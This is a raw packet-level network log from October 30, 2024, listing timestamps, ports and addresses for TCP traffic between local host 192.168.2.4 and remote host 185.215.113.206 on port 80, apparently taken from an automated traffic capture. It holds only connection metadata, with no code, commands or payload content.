Oct 30, 2024 02:27:36.847567081 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847587109 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847662926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847672939 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847702026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847723007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847734928 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847760916 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847775936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847897053 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847908020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847918987 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847928047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.847930908 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847943068 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.847973108 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848006010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848016024 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848021984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848027945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848167896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848179102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848182917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848206997 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848233938 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848242044 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848253965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848258972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848264933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848268986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848273993 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848284006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848311901 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848344088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848344088 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848542929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848553896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848563910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848573923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848581076 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848584890 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848596096 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848606110 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848612070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848614931 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848622084 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848640919 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848654032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848839045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848880053 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848900080 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848908901 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848917961 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848927975 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.848939896 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848948956 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.848969936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849092960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849102974 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849112034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849122047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849129915 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849132061 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849138975 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849168062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849334002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849344015 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849353075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849375963 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849394083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849560976 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849571943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849580050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849590063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849601030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849608898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849610090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849620104 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849621058 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849632025 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849642992 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849651098 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849678040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849705935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849715948 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849725008 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849733114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849740028 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849754095 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849777937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849783897 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849795103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.849819899 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.849836111 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850056887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850066900 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850095987 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850111961 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850168943 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850179911 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850188971 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850198984 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850205898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850209951 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850215912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850223064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850234032 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850234032 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850255966 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850264072 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850487947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850497007 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850506067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850514889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850524902 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850536108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850537062 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850559950 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850570917 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850641966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850652933 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850662947 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850672960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850681067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850682020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850687981 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850694895 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850713968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850723982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850893021 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850903034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850912094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850922108 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850924969 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850933075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850940943 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850943089 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850949049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850955963 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850965977 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850975037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.850986958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.850986958 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.851011038 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.890425920 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890471935 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890480042 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890486002 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890533924 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.890559912 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.890639067 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890650034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890660048 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890671968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890681982 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.890692949 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.890724897 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.890773058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890783072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890794039 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890816927 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.890830040 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.890937090 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.890973091 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.930955887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.931026936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.931356907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.931402922 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.964775085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.964808941 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.964821100 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.964853048 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.964870930 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.964932919 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.964958906 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.964971066 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.964988947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.964999914 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965023041 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965044022 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965122938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965123892 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965136051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965147018 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965157986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965181112 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965188026 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965238094 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965276003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965317965 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965328932 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965338945 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965353012 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965359926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965359926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965401888 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965457916 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965501070 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965532064 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965543985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965553045 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965564013 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965585947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965585947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965600014 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965645075 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965683937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965711117 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965722084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965732098 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965750933 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965766907 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965775967 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965862036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965873003 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965883017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965894938 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.965904951 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.965928078 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966018915 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966028929 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966051102 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966063023 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966072083 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966073036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966084003 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966087103 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966111898 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966142893 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966324091 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966334105 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966345072 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966355085 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966367960 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966367960 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966376066 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966379881 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966408968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966412067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966412067 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966439962 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966588020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966598034 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966608047 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966619968 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966629982 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966630936 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966660976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966671944 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966883898 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966892958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966914892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966922998 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966928005 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966933966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966939926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966945887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966960907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966968060 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.966972113 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.966994047 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967004061 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967200041 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967210054 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967219114 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967228889 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967238903 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967241049 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967250109 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967256069 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967262030 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967272043 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967283010 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967291117 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967298985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967350006 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967407942 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967432976 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967639923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967653036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967663050 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967673063 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967683077 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967688084 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967693090 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967699051 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967705011 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967711926 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967727900 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967746973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967911959 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967922926 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967932940 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967943907 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967957020 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.967969894 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.967988968 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968014002 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968194962 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968206882 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968216896 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968226910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968239069 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968246937 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968250036 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968261957 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968271017 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968271017 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968280077 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968283892 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968292952 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968307018 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968313932 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968343973 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968672037 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968683958 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968693972 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968703985 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968713999 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968719959 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968724966 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968736887 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968745947 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968750000 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968765020 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968782902 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968811989 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968823910 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968833923 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968851089 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968873978 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968874931 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968885899 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968898058 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.968911886 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.968935013 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.969044924 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.969089985 CET	49760	80	192.168.2.4	185.215.113.206
Oct 30, 2024 02:27:36.969125986 CET	80	49760	185.215.113.206	192.168.2.4
Oct 30, 2024 02:27:36.969166040 CET	49760	80	192.168.2.4	185.215.113.206
